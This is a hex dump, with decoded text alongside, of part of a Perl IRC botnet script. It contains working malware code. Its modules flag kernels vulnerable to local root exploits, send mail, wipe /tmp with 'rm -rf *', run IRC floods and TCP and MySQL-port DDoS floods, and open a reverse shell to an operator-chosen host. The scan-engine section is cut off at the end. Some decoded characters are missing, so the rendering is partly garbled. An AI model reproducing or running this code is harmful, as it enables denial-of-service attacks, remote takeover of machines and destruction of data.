37600: 20202076756C6E3D3E5B27322E342E32275D200D0A2020207D3B0D0A2020200D          vuln=>['2.4.2'] };
37632: 0A20202024687B277074726163653234277D203D207B0D0A2020202020207675          $h{'ptrace24'} = { vu
37664: 6C6E3D3E5B27322E342E39275D200D0A2020207D3B0D0A2020200D0A20202024          ln=>['2.4.9'] }; $
37696: 687B2770776E6564277D203D207B0D0A20202020202076756C6E3D3E5B27322E          h{'pwned'} = { vuln=>['2.
37728: 342E272C27322E362E275D200D0A2020207D3B0D0A2020200D0A20202024687B          4.','2.6.'] }; $h{
37760: 27707932277D203D207B0D0A20202020202076756C6E3D3E5B27322E362E3927          'py2'} = { vuln=>['2.6.9'
37792: 2C27322E362E3137272C27322E362E3135272C27322E362E3133275D200D0A20          ,'2.6.17','2.6.15','2.6.13']
37824: 20207D3B0D0A2020200D0A20202024687B27726170746F725F707263746C277D          }; $h{'raptor_prctl'}
37856: 203D207B0D0A20202020202076756C6E3D3E5B27322E362E3133272C27322E36          = { vuln=>['2.6.13','2.6
37888: 2E3137272C27322E362E3136272C27322E362E3133275D200D0A2020207D3B0D          .17','2.6.16','2.6.13'] };
37920: 0A2020200D0A20202024687B27707263746C33277D203D207B0D0A2020202020          $h{'prctl3'} = {
37952: 2076756C6E3D3E5B27322E362E3133272C27322E362E3137272C27322E362E39          vuln=>['2.6.13','2.6.17','2.6.9
37984: 275D200D0A2020207D3B0D0A2020200D0A20202024687B2772656D6170277D20          '] }; $h{'remap'}
38016: 3D207B0D0A20202020202076756C6E3D3E5B27322E342E275D200D0A2020207D          = { vuln=>['2.4.'] }
38048: 3B0D0A2020200D0A20202024687B27726970277D203D207B0D0A202020202020          ; $h{'rip'} = {
38080: 76756C6E3D3E5B27322E322E275D200D0A2020207D3B0D0A2020200D0A202020          vuln=>['2.2.'] };
38112: 24687B27737461636B67726F7732277D203D207B0D0A20202020202076756C6E          $h{'stackgrow2'} = { vuln
38144: 3D3E5B27322E342E3239272C27322E362E3130275D200D0A2020207D3B0D0A20          =>['2.4.29','2.6.1 '] };
38176: 20200D0A20202024687B277573656C69623234277D203D207B0D0A2020202020          $h{'uselib24'} = {
38208: 2076756C6E3D3E5B27322E342E3239272C27322E362E3130272C27322E342E32          vuln=>['2.4.29','2.6.1 ','2.4.2
38240: 32272C27322E342E3235275D200D0A2020207D3B0D0A2020200D0A2020202468          2','2.4.25'] }; $h
38272: 7B276E6577736D70277D203D207B0D0A20202020202076756C6E3D3E5B27322E          {'newsmp'} = { vuln=>['2.
38304: 362E275D200D0A2020207D3B0D0A2020200D0A20202024687B27736D70726163          6.'] }; $h{'smprac
38336: 6572277D203D207B0D0A20202020202076756C6E3D3E5B27322E342E3239275D          er'} = { vuln=>['2.4.29']
38368: 200D0A2020207D3B0D0A2020200D0A20202024687B276C6F67696E78277D203D          }; $h{'loginx'} =
38400: 207B0D0A20202020202076756C6E3D3E5B27322E342E3232275D200D0A202020          { vuln=>['2.4.22']
38432: 7D3B0D0A2020200D0A20202024687B276578702E7368277D203D207B0D0A2020          }; $h{'exp.sh'} = {
38464: 2020202076756C6E3D3E5B27322E362E39272C27322E362E3130272C27322E36          vuln=>['2.6.9','2.6.1 ','2.6
38496: 2E3136272C27322E362E3133275D200D0A2020207D3B0D0A2020200D0A202020          .16','2.6.13'] };
38528: 24687B27707263746C277D203D207B0D0A20202020202076756C6E3D3E5B2732          $h{'prctl'} = { vuln=>['2
38560: 2E362E275D200D0A2020207D3B0D0A2020200D0A20202024687B276B6D647827          .6.'] }; $h{'kmdx'
38592: 7D203D207B0D0A20202020202076756C6E3D3E5B27322E362E272C27322E342E          } = { vuln=>['2.6.','2.4.
38624: 275D200D0A2020207D3B0D0A2020200D0A20202024687B27726170746F72277D          '] }; $h{'raptor'}
38656: 203D207B0D0A20202020202076756C6E3D3E5B27322E362E3133272C27322E36          = { vuln=>['2.6.13','2.6
38688: 2E3134272C27322E362E3135272C27322E362E3136275D200D0A2020207D3B0D          .14','2.6.15','2.6.16'] };
38720: 0A2020200D0A20202024687B27726170746F7232277D203D207B0D0A20202020          $h{'raptor2'} = {
38752: 202076756C6E3D3E5B27322E362E3133272C27322E362E3134272C27322E362E          vuln=>['2.6.13','2.6.14','2.6.
38784: 3135272C27322E362E3136275D200D0A2020207D3B0D0A2020200D0A666F7265          15','2.6.16'] }; fore
38816: 616368206D7920246B6579286B657973202568297B0D0A666F7265616368206D          ach my $key(keys %h){ foreach m
38848: 7920246B65726E656C202820407B2024687B246B65797D7B2776756C6E277D20          y $kernel ( @{ $h{$key}{'vuln'}
38880: 7D20297B200D0A202020696628246B686F73743D7E2F5E246B65726E656C2F29          } ){ if($khost=~/^$kernel/)
38912: 7B0D0A20202063686F7028246B65726E656C292069662028246B65726E656C3D          { chop($kernel) if ($kernel=
38944: 7E2F2E242F293B0D0A20202073656E6472617728244952435F6375725F736F63          ~/.$/); sendraw($IRC_cur_soc
38976: 6B65742C2022505249564D534720247072696E746C203A0331325B0203344003          ket, "PRIVMSG $printl :12[4@
39008: 33526F6F7461626C65020331325D20506F737369626C65204C6F63616C20526F          3Rootable12] Possible Local Ro
39040: 6F74204578706C6F6974733A20222E20246B6579202E222022293B0D0A202020          ot Exploits: ". $key ." ");
39072: 2020207D0D0A2020207D0D0A7D0D0A7D0D0A2323232323232323232323232323          } } } } ##############
39104: 23232323232323230D0A23202020202020204D41494C45522020202020202023          ######## # MAILER #
39136: 200D0A232323232323232323232323232323232323232323230D0A6966202824          ###################### if ($
39168: 66756E63617267203D7E202F5E73656E646D61696C5C732B282E2A295C732B28          funcarg =~ /^sendmail\s+(.*)\s+(
39200: 2E2A295C732B282E2A295C732B282E2A292F29207B0D0A73656E647261772824          .*)\s+(.*)\s+(.*)/) { sendraw($
39232: 4952435F6375725F736F636B65742C2022505249564D534720247072696E746C          IRC_cur_socket, "PRIVMSG $printl
39264: 203A0331325B0203344003334D61696C6572020331325D20204D61696C657220          :12[4@3Mailer12] Mailer
39296: 3A2E207C202053656E64696E67204D61696C20746F203A203220243322293B0D          :. | Sending Mail to : 2 $3");
39328: 0A247375626A656374203D2024313B0D0A2473656E646572203D2024323B0D0A          $subject = $1; $sender = $2;
39360: 24726563697069656E74203D2024333B0D0A40636F72706F203D2024343B0D0A          $recipient = $3; @corpo = $4;
39392: 246D61696C74797065203D2022636F6E74656E742D747970653A20746578742F          $mailtype = "content-type: text/
39424: 68746D6C223B0D0A2473656E646D61696C203D20272F7573722F7362696E2F73          html"; $sendmail = '/usr/sbin/s
39456: 656E646D61696C273B0D0A6F70656E202853454E444D41494C2C20227C202473          endmail'; open (SENDMAIL, "| $s
39488: 656E646D61696C202D7422293B0D0A7072696E742053454E444D41494C202224          endmail -t"); print SENDMAIL "$
39520: 6D61696C747970655C6E223B0D0A7072696E742053454E444D41494C20225375          mailtype\n"; print SENDMAIL "Su
39552: 626A6563743A20247375626A6563745C6E223B0D0A7072696E742053454E444D          bject: $subject\n"; print SENDM
39584: 41494C202246726F6D3A202473656E6465725C6E223B0D0A7072696E74205345          AIL "From: $sender\n"; print SE
39616: 4E444D41494C2022546F3A2024726563697069656E745C6E5C6E223B0D0A7072          NDMAIL "To: $recipient\n\n"; pr
39648: 696E742053454E444D41494C202240636F72706F5C6E5C6E223B0D0A636C6F73          int SENDMAIL "@corpo\n\n"; clos
39680: 65202853454E444D41494C293B0D0A73656E6472617728244952435F6375725F          e (SENDMAIL); sendraw($IRC_cur_
39712: 736F636B65742C2022505249564D534720247072696E746C203A0331325B0203          socket, "PRIVMSG $printl :12[
39744: 344003334D61696C6572020331325D2020204D61696C6572203A2E207C20204D          4@3Mailer12] Mailer :. | M
39776: 61696C2053656E7420546F203A20322024726563697069656E7422293B0D0A7D          ail Sent To : 2 $recipient"); }
39808: 0D0A232323232323232323232323232323232323232323230D0A23202020456E          ###################### # En
39840: 64206F66204D41494C45522020202023200D0A23232323232323232323232323          d of MAILER # #############
39872: 2323232323232323230D0A232041202F746D7020636C65616E65720D0A696620          ######### # A /tmp cleaner if
39904: 282466756E63617267203D7E202F5E636C656172746D702F29207B200D0A2020          ($funcarg =~ /^cleartmp/) {
39936: 202073797374656D20276364202F746D703B726D202D7266202A273B0D0A2020          system 'cd /tmp;rm -rf *';
39968: 2020202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
40000: 22505249564D534720247072696E746C203A0331325B020334400333544D5043          "PRIVMSG $printl :12[4@3TMPC
40032: 6C65616E6572020331325D202F746D7020697320436C65616E656422293B0D0A          leaner12] /tmp is Cleaned");
40064: 2020202020202020207D0D0A232D232D232D232D232D232D232D232D230D0A23          } #-#-#-#-#-#-#-#-# #
40096: 20466C6F6F64657273204952432020230D0A232D232D232D232D232D232D232D          Flooders IRC # #-#-#-#-#-#-#-
40128: 232D232020202020202020200D0A23206D73672C20406D7367666C6F6F64203C          #-# # msg, @msgflood <
40160: 77686F3E0D0A696620282466756E63617267203D7E202F5E6D7367666C6F6F64          who> if ($funcarg =~ /^msgflood
40192: 20282E2B3F2920282E2A292F29207B0D0A202020666F722824693D303B202469          (.+?) (.*)/) { for($i= ; $i
40224: 3C3D31303B2024692B3D31297B0D0A20202020202073656E6472617728244952          <=1 ; $i+=1){ sendraw($IR
40256: 435F6375725F736F636B65742C2022505249564D534720222E24312E2220222E          C_cur_socket, "PRIVMSG ".$1." ".
40288: 2432293B0D0A2020207D0D0A20202020202073656E6472617728244952435F63          $2); } sendraw($IRC_c
40320: 75725F736F636B65742C2022505249564D534720247072696E746C203A033132          ur_socket, "PRIVMSG $printl :12
40352: 5B0203344003334D5347466C6F6F64020331325D033134204578636563757465          [4@3MSGFlood12]14 Excecute
40384: 64206F6E20222E24312E222022293B0D0A7D0D0A2020202020202020200D0A23          d on ".$1." "); } #
40416: 20646363666C6F6F642C2040646363666C6F6F64203C77686F3E0D0A69662028          dccflood, @dccflood <who> if (
40448: 2466756E63617267203D7E202F5E646363666C6F6F6420282E2A292F29207B0D          $funcarg =~ /^dccflood (.*)/) {
40480: 0A202020666F722824693D303B2024693C3D31303B2024692B3D31297B0D0A20          for($i= ; $i<=1 ; $i+=1){
40512: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
40544: 5249564D534720222E24312E22203A5C30303144434320434841542063686174          RIVMSG ".$1." :\  1DCC CHAT chat
40576: 203131323134383531333120313032345C3030315C6E22293B0D0A2020207D0D          1121485131 1 24\  1\n"); }
40608: 0A20202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
40640: 22505249564D534720247072696E746C203A0331325B02033440033344434346          "PRIVMSG $printl :12[4@3DCCF
40672: 6C6F6F64020331325D03313420457863656375746564206F6E20222E24312E22          lood12]14 Excecuted on ".$1."
40704: 2022293B0D0A7D2020202020200D0A232063746370666C6F6F642C2040637463          "); } # ctcpflood, @ctc
40736: 70666C6F6F64203C77686F3E0D0A696620282466756E63617267203D7E202F5E          pflood <who> if ($funcarg =~ /^
40768: 63746370666C6F6F6420282E2A292F29207B0D0A202020666F722824693D303B          ctcpflood (.*)/) { for($i= ;
40800: 2024693C3D31303B2024692B3D31297B0D0A20202020202073656E6472617728          $i<=1 ; $i+=1){ sendraw(
40832: 244952435F6375725F736F636B65742C2022505249564D534720222E24312E22          $IRC_cur_socket, "PRIVMSG ".$1."
40864: 203A5C30303156455253494F4E5C3030315C6E22293B0D0A2020202020207365          :\  1VERSION\  1\n"); se
40896: 6E6472617728244952435F6375725F736F636B65742C2022505249564D534720          ndraw($IRC_cur_socket, "PRIVMSG
40928: 222E24312E22203A5C30303150494E475C3030315C6E22293B0D0A2020207D0D          ".$1." :\  1PING\  1\n"); }
40960: 0A20202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
40992: 22505249564D534720247072696E746C203A0331325B02033440033343544350          "PRIVMSG $printl :12[4@3CTCP
41024: 466C6F6F64020331325D03313420457863656375746564206F6E20222E24312E          Flood12]14 Excecuted on ".$1.
41056: 222022293B0D0A7D2020202020200D0A23206E6F74696365666C6F6F642C2040          " "); } # noticeflood, @
41088: 6E6F74696365666C6F6F64203C77686F3E0D0A202020696620282466756E6361          noticeflood <who> if ($funca
41120: 7267203D7E202F5E6E6F74696365666C6F6F6420282E2A292F29207B0D0A2020          rg =~ /^noticeflood (.*)/) {
41152: 20202020666F722824693D303B2024693C3D31303B2024692B3D31297B0D0A20          for($i= ; $i<=1 ; $i+=1){
41184: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
41216: 20224E4F5449434520222E24312E22203A773374464C3030445C6E22293B0D0A          "NOTICE ".$1." :w3tFL  D\n");
41248: 2020207D0D0A20202020202073656E6472617728244952435F6375725F736F63          } sendraw($IRC_cur_soc
41280: 6B65742C2022505249564D534720247072696E746C203A0331325B0203344003          ket, "PRIVMSG $printl :12[4@
41312: 334E6F74696365466C6F6F64020331325D03313420457863656375746564206F          3NoticeFlood12]14 Excecuted o
41344: 6E20222E24312E222022293B0D0A7D2020202020200D0A23204368616E6E656C          n ".$1." "); } # Channel
41376: 20466C6F6F642C20406368616E6E656C666C6F6F640D0A696620282466756E63          Flood, @channelflood if ($func
41408: 617267203D7E202F5E6368616E6E656C666C6F6F642F29207B0D0A202020666F          arg =~ /^channelflood/) { fo
41440: 722824693D303B2024693C3D32353B2024692B3D31297B200D0A202020202020          r($i= ; $i<=25; $i+=1){
41472: 73656E6472617728244952435F6375725F736F636B65742C20224A4F494E2023          sendraw($IRC_cur_socket, "JOIN #
41504: 222E28696E742872616E6428393939393929292920293B0D0A2020207D0D0A20          ".(int(rand(99999))) ); }
41536: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
41568: 5249564D534720247072696E746C203A0331325B0203344003334368616E6E65          RIVMSG $printl :12[4@3Channe
41600: 6C466C6F6F64020331325D033134204578636563757465642022293B0D0A7D0D          lFlood12]14 Excecuted "); }
41632: 0A23204D61786920466C6F6F642C20406D617869666C6F6F640D0A6966202824          # Maxi Flood, @maxiflood if ($
41664: 66756E63617267203D7E202F5E6D617869666C6F6F64282E2A292F29207B0D0A          funcarg =~ /^maxiflood(.*)/) {
41696: 202020666F722824693D303B2024693C3D31353B2024692B3D31297B0D0A2020          for($i= ; $i<=15; $i+=1){
41728: 2020202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
41760: 224E4F5449434520222E24312E22203A773374466C3030445C6E22293B0D0A20          "NOTICE ".$1." :w3tFl  D\n");
41792: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
41824: 2022505249564D534720222E24312E22203A5C30303156455253494F4E5C3030          "PRIVMSG ".$1." :\  1VERSION\  
41856: 315C6E22293B0D0A20202020202020202073656E6472617728244952435F6375          1\n"); sendraw($IRC_cu
41888: 725F736F636B65742C2022505249564D534720222E24312E22203A5C30303150          r_socket, "PRIVMSG ".$1." :\  1P
41920: 494E475C3030315C6E22293B0D0A20202020202020202073656E647261772824          ING\  1\n"); sendraw($
41952: 4952435F6375725F736F636B65742C2022505249564D534720222E24312E2220          IRC_cur_socket, "PRIVMSG ".$1."
41984: 3A773374466C3030445C6E22293B2020202020202020200D0A2020207D0D0A20          :w3tFl  D\n"); }
42016: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
42048: 5249564D534720247072696E746C203A0331325B0203344003334D3458692D46          RIVMSG $printl :12[4@3M4Xi-F
42080: 6C303064020331325D03313420457863656375746564206F6E20222E24312E22          l  d12]14 Excecuted on ".$1."
42112: 2022293B0D0A7D0D0A232323232323232323232323232323232323232323230D          "); } ######################
42144: 0A23202069726320202020230D0A232323232323232323232323232323232323          # irc # ##################
42176: 232323230D0A202020202020202020696620282466756E63617267203D7E202F          #### if ($funcarg =~ /
42208: 5E72657365742F29207B0D0A20202020202020202020202073656E6472617728          ^reset/) { sendraw(
42240: 244952435F6375725F736F636B65742C202251554954203A22293B0D0A202020          $IRC_cur_socket, "QUIT :");
42272: 2020202020207D0D0A202020202020202020696620282466756E63617267203D          } if ($funcarg =
42304: 7E202F5E6A6F696E20282E2A292F29207B0D0A20202020202020202020202073          ~ /^join (.*)/) { s
42336: 656E6472617728244952435F6375725F736F636B65742C20224A4F494E20222E          endraw($IRC_cur_socket, "JOIN ".
42368: 2431293B0D0A2020202020202020207D0D0A2020202020202020206966202824          $1); } if ($
42400: 66756E63617267203D7E202F5E7061727420282E2A292F29207B0D0A20202020          funcarg =~ /^part (.*)/) {
42432: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
42464: 20225041525420222E2431293B0D0A2020202020202020207D0D0A2020202020          "PART ".$1); }
42496: 20202020696620282466756E63617267203D7E202F5E766F69636520282E2A29          if ($funcarg =~ /^voice (.*)
42528: 2F29207B200D0A20202020202020202020202073656E6472617728244952435F          /) { sendraw($IRC_
42560: 6375725F736F636B65742C20224D4F444520247072696E746C202B7620222E24          cur_socket, "MODE $printl +v ".$
42592: 31293B0D0A20202020202020202020207D0D0A20202020202020202069662028          1); } if (
42624: 2466756E63617267203D7E202F5E6465766F69636520282E2A292F29207B200D          $funcarg =~ /^devoice (.*)/) {
42656: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
42688: 636B65742C20224D4F444520247072696E746C202D7620222E2431293B0D0A20          cket, "MODE $printl -v ".$1);
42720: 202020202020202020207D0D0A202020202020202020696620282466756E6361          } if ($funca
42752: 7267203D7E202F5E68616C666F7020282E2A292F29207B200D0A202020202020          rg =~ /^halfop (.*)/) {
42784: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
42816: 4D4F444520247072696E746C202B6820222E2431293B0D0A2020202020202020          MODE $printl +h ".$1);
42848: 2020207D0D0A202020202020202020696620282466756E63617267203D7E202F          } if ($funcarg =~ /
42880: 5E646568616C666F7020282E2A292F29207B200D0A2020202020202020202020          ^dehalfop (.*)/) {
42912: 2073656E6472617728244952435F6375725F736F636B65742C20224D4F444520          sendraw($IRC_cur_socket, "MODE
42944: 247072696E746C202D6820222E2431293B0D0A20202020202020202020207D0D          $printl -h ".$1); }
42976: 0A202020202020202020696620282466756E63617267203D7E202F5E6F776E65          if ($funcarg =~ /^owne
43008: 7220282E2A292F29207B200D0A20202020202020202020202073656E64726177          r (.*)/) { sendraw
43040: 28244952435F6375725F736F636B65742C20224D4F444520247072696E746C20          ($IRC_cur_socket, "MODE $printl
43072: 2B7120222E2431293B0D0A20202020202020202020207D0D0A20202020202020          +q ".$1); }
43104: 2020696620282466756E63617267203D7E202F5E64656F776E657220282E2A29          if ($funcarg =~ /^deowner (.*)
43136: 2F29207B200D0A20202020202020202020202073656E6472617728244952435F          /) { sendraw($IRC_
43168: 6375725F736F636B65742C20224D4F444520247072696E746C202D7120222E24          cur_socket, "MODE $printl -q ".$
43200: 31293B0D0A2020202020202020207D0D0A202020202020202020696620282466          1); } if ($f
43232: 756E63617267203D7E202F5E6F7020282E2A292F29207B200D0A202020202020          uncarg =~ /^op (.*)/) {
43264: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
43296: 4D4F444520247072696E746C202B6F20222E2431293B0D0A2020202020202020          MODE $printl +o ".$1);
43328: 2020207D2020202020202020200D0A202020202020202020696620282466756E          } if ($fun
43360: 63617267203D7E202F5E64656F7020282E2A292F29207B200D0A202020202020          carg =~ /^deop (.*)/) {
43392: 20202020202073656E6472617728244952435F6375725F736F636B65742C2022          sendraw($IRC_cur_socket, "
43424: 4D4F444520247072696E746C202D6F20222E2431293B0D0A2020202020202020          MODE $printl -o ".$1);
43456: 2020207D0D0A232323232323232323232323232323232323232323230D0A2345          } ###################### #E
43488: 6E64206F66204A6F696E20416E642050617274230D0A23232323232323232323          nd of Join And Part# ##########
43520: 2323232323232323232323230D0A232323232323232323232323232323232323          ############ ##################
43552: 232323230D0A232020202020544350466C6F6F6420202020202020230D0A2323          #### # TCPFlood # ##
43584: 23232323232323232323232323232323232323230D0A0D0A2020202020202020          ####################
43616: 20696620282466756E63617267203D7E202F5E746370666C6F6F645C732B282E          if ($funcarg =~ /^tcpflood\s+(.
43648: 2A295C732B285C642B295C732B285C642B292F29207B0D0A2020202020202020          *)\s+(\d+)\s+(\d+)/) {
43680: 2020202073656E6472617728244952435F6375725F736F636B65742C20225052          sendraw($IRC_cur_socket, "PR
43712: 49564D534720247072696E746C203A0331325B0203344003335443502D44444F          IVMSG $printl :12[4@3TCP-DDO
43744: 53020331325D2041747461636B696E6720033420222E24312E223A222E24322E          S12] Attacking 4 ".$1.":".$2.
43776: 2220033132666F7220033420222E24332E22200331327365636F6E64732E2229          " 12for 4 ".$3." 12seconds.")
43808: 3B0D0A2020202020202020202020206D7920246974696D65203D2074696D653B          ; my $itime = time;
43840: 0D0A2020202020202020202020206D792028246375725F74696D65293B0D0A20          my ($cur_time);
43872: 2020202020202020202020246375725F74696D65203D2074696D65202D202469          $cur_time = time - $i
43904: 74696D653B0D0A2020202020202020202020207768696C65202824333E246375          time; while ($3>$cu
43936: 725F74696D65297B0D0A202020202020202020202020202020246375725F7469          r_time){ $cur_ti
43968: 6D65203D2074696D65202D20246974696D653B0D0A2020202020202020202020          me = time - $itime;
44000: 2020202026746370666C6F6F64657228222431222C222432222C22243322293B          &tcpflooder("$1","$2","$3");
44032: 0D0A2020202020202020202020207D0D0A20202020202020202020202073656E          } sen
44064: 6472617728244952435F6375725F736F636B65742C22505249564D5347202470          draw($IRC_cur_socket,"PRIVMSG $p
44096: 72696E746C203A0331325B0203344003335443502D44444F53020331325D2041          rintl :12[4@3TCP-DDOS12] A
44128: 747461636B20646F6E6520033420222E24312E223A222E24322E222E22293B0D          ttack done 4 ".$1.":".$2.".");
44160: 0A2020202020202020207D0D0A23232323232323232323232323232323232323          } ###################
44192: 2323230D0A232020456E64206F6620544350466C6F6F64202020230D0A232323          ### # End of TCPFlood # ###
44224: 232323232323232323232323232323232323230D0A2323232323232323232323          ################### ###########
44256: 23232323232323232323230D0A2320202020202020202020202020202053514C          ########### # SQL
44288: 20466C3030644572202020202020202020202020202020202020202020230D0A          Fl  dEr #
44320: 232323232323232323232323232323232323232323230D0A696620282466756E          ###################### if ($fun
44352: 63617267203D7E202F5E73716C666C6F6F645C732B282E2A295C732B285C642B          carg =~ /^sqlflood\s+(.*)\s+(\d+
44384: 292F29207B0D0A73656E6472617728244952435F6375725F736F636B65742C20          )/) { sendraw($IRC_cur_socket,
44416: 22505249564D534720247072696E746C203A0331325B02033440033353514C2D          "PRIVMSG $printl :12[4@3SQL-
44448: 44444F53020331325D2041747461636B696E670320033420222E24312E222003          DDOS12] Attacking 4 ".$1." 
44480: 3132206F6E20706F7274203333303620666F7220033420222E24322E22200331          12 on port 33 6 for 4 ".$2." 1
44512: 32207365636F6E647320032E22293B0D0A6D7920246974696D65203D2074696D          2 seconds ."); my $itime = tim
44544: 653B0D0A6D792028246375725F74696D65293B0D0A246375725F74696D65203D          e; my ($cur_time); $cur_time =
44576: 2074696D65202D20246974696D653B0D0A7768696C65202824323E246375725F          time - $itime; while ($2>$cur_
44608: 74696D65297B0D0A246375725F74696D65203D2074696D65202D20246974696D          time){ $cur_time = time - $itim
44640: 653B0D0A2020206D792024736F636B6574203D20494F3A3A536F636B65743A3A          e; my $socket = IO::Socket::
44672: 494E45542D3E6E65772870726F746F3D3E27746370272C205065657241646472          INET->new(proto=>'tcp', PeerAddr
44704: 3D3E24312C2050656572506F72743D3E33333036293B0D0A2020207072696E74          =>$1, PeerPort=>33 6); print
44736: 2024736F636B65742022474554202F20485454502F312E315C725C6E41636365          $socket "GET / HTTP/1.1\r\nAcce
44768: 70743A202A2F2A5C725C6E486F73743A20222E24312E225C725C6E436F6E6E65          pt: */*\r\nHost: ".$1."\r\nConne
44800: 6374696F6E3A204B6565702D416C6976655C725C6E5C725C6E223B0D0A636C6F          ction: Keep-Alive\r\n\r\n"; clo
44832: 73652824736F636B6574293B0D0A7D0D0A73656E6472617728244952435F6375          se($socket); } sendraw($IRC_cu
44864: 725F736F636B65742C2022505249564D534720247072696E746C203A0331325B          r_socket, "PRIVMSG $printl :12[
44896: 02033440033353514C2D44444F53020331325D2041747461636B696E6720646F          4@3SQL-DDOS12] Attacking do
44928: 6E650320033420222E24312E222E22293B0D0A7D0D0A23232323232323232323          ne 4 ".$1."."); } ##########
44960: 2323232323232323232323230D0A232020204261636B20436F6E6E6563742020          ############ # Back Connect
44992: 202020230D0A0D0A232323232323232323232323232323232323232323230D0A          # ######################
45024: 202020202020202020696620282466756E63617267203D7E202F5E6261636B5C          if ($funcarg =~ /^back\
45056: 732B282E2A295C732B285C642B292F29207B0D0A202020202020202020202020          s+(.*)\s+(\d+)/) {
45088: 6D792024686F7374203D20222431223B0D0A2020202020202020202020206D79          my $host = "$1"; my
45120: 2024706F727461203D20222432223B0D0A2020202020202020202020206D7920          $porta = "$2"; my
45152: 2470726F746F203D2067657470726F746F62796E616D65282774637027293B0D          $proto = getprotobyname('tcp');
45184: 0A2020202020202020202020206D7920246961646472203D20696E65745F6174          my $iaddr = inet_at
45216: 6F6E2824686F7374293B0D0A2020202020202020202020206D79202470616464          on($host); my $padd
45248: 72203D20736F636B616464725F696E2824706F7274612C20246961646472293B          r = sockaddr_in($porta, $iaddr);
45280: 0D0A2020202020202020202020206D7920247368656C6C203D20222F62696E2F          my $shell = "/bin/
45312: 7368202D69223B0D0A20202020202020202020202069662028245E4F20657120          sh -i"; if ($^O eq
45344: 224D5357696E33322229207B0D0A202020202020202020202020202020247368          "MSWin32") { $sh
45376: 656C6C203D2022636D642E657865223B0D0A2020202020202020202020207D0D          ell = "cmd.exe"; }
45408: 0A202020202020202020202020736F636B657428534F434B45542C2050465F49          socket(SOCKET, PF_I
45440: 4E45542C20534F434B5F53545245414D2C202470726F746F29206F7220646965          NET, SOCK_STREAM, $proto) or die
45472: 2022736F636B65743A202421223B0D0A202020202020202020202020636F6E6E          "socket: $!"; conn
45504: 65637428534F434B45542C2024706164647229206F72206469652022636F6E6E          ect(SOCKET, $paddr) or die "conn
45536: 6563743A202421223B0D0A2020202020202020202020206F70656E2853544449          ect: $!"; open(STDI
45568: 4E2C20223E26534F434B455422293B0D0A2020202020202020202020206F7065          N, ">&SOCKET"); ope
45600: 6E285354444F55542C20223E26534F434B455422293B0D0A2020202020202020          n(STDOUT, ">&SOCKET");
45632: 202020206F70656E285354444552522C20223E26534F434B455422293B0D0A20          open(STDERR, ">&SOCKET");
45664: 202020202020202020202073797374656D2822247368656C6C22293B0D0A2020          system("$shell");
45696: 20202020202020202020636C6F736528535444494E293B0D0A20202020202020          close(STDIN);
45728: 2020202020636C6F7365285354444F5554293B0D0A2020202020202020202020          close(STDOUT);
45760: 20636C6F736528535444455252293B0D0A202020202020202020202020696620          close(STDERR); if
45792: 2824657374617469737469636173297B0D0A2020202020202020202020202020          ($estatisticas){
45824: 2073656E6472617728244952435F6375725F736F636B65742C2022505249564D          sendraw($IRC_cur_socket, "PRIVM
45856: 534720247072696E746C203A0331325B0203344003334261636B2D436F6E6E65          SG $printl :12[4@3Back-Conne
45888: 6374020331325D20436F6E6E656374696E6720746F2003342024686F73743A24          ct12] Connecting to 4 $host:$
45920: 706F72746122293B0D0A2020202020202020202020207D0D0A20202020202020          porta"); }
45952: 20207D0D0A232323232323232323232323232323232323232323230D0A23456E          } ###################### #En
45984: 64206F6620204261636B20436F6E6E656374230D0A2323232323232323232323          d of Back Connect# ###########
46016: 23232323232323232323230D0A23232323232323232323232323232323232323          ########### ###################
46048: 2323230D0A23202020204D554C5449205343414E4E4552202020230D0A232323          ### # MULTI SCANNER # ###
46080: 232323232323232323232323232323232323230D0A696620282466756E636172          ################### if ($funcar
46112: 67203D7E202F5E6D756C74697363616E5C732B282E2A3F295C732B282E2A292F          g =~ /^multiscan\s+(.*?)\s+(.*)/
46144: 297B0D0A696620286D792024706964203D20666F726B29207B0D0A7761697470          ){ if (my $pid = fork) { waitp
46176: 696428247069642C2030293B0D0A7D20656C7365207B0D0A69662028666F726B          id($pid,  ); } else { if (fork
46208: 29207B0D0A657869743B0D0A7D20656C7365207B0D0A6D7920246275673D2431          ) { exit; } else { my $bug=$1
46240: 3B0D0A6D792024646F726B3D24323B0D0A6D792024636F6E7461746F72653D30          ; my $dork=$2; my $contatore= 
46272: 3B0D0A2020202020202020202020202020202020206D79202824747970652C24          ; my ($type,$
46304: 7370616365293B0D0A2020202020202020202020202020202020206D79202568          space); my %h
46336: 6F7374733B0D0A20202020202020202020202020202020202023232320537461          osts; ### Sta
46368: 7274204D6573736167650D0A2020202020202020202020202020202020207365          rt Message se
46400: 6E6472617728244952435F6375725F736F636B65742C2022505249564D534720          ndraw($IRC_cur_socket, "PRIVMSG
46432: 247072696E746C203A0331325B0203344003334D756C74692D5363616E020331          $printl :12[4@3Multi-Scan1
46464: 325D205374617274696E67205363616E20666F72200334246275672024646F72          2] Starting Scan for 4$bug $dor
46496: 6B22293B0D0A20202020202020202020202020202020202073656E6472617728          k"); sendraw(
46528: 244952435F6375725F736F636B65742C2022505249564D534720247072696E74          $IRC_cur_socket, "PRIVMSG $print
46560: 6C203A0331325B0203344003334D756C74692D5363616E020331325D20496E69          l :12[4@3Multi-Scan12] Ini
46592: 7469616C697A696E67206F6E200334352003313253656172636820456E67696E          tializing on 45 12Search Engin
46624: 65732022293B0D0A20202020202020202020202020202020202023232320456E          es "); ### En
46656: 64206F66205374617274204D6573736167650D0A23205374617274696E672047          d of Start Message # Starting G
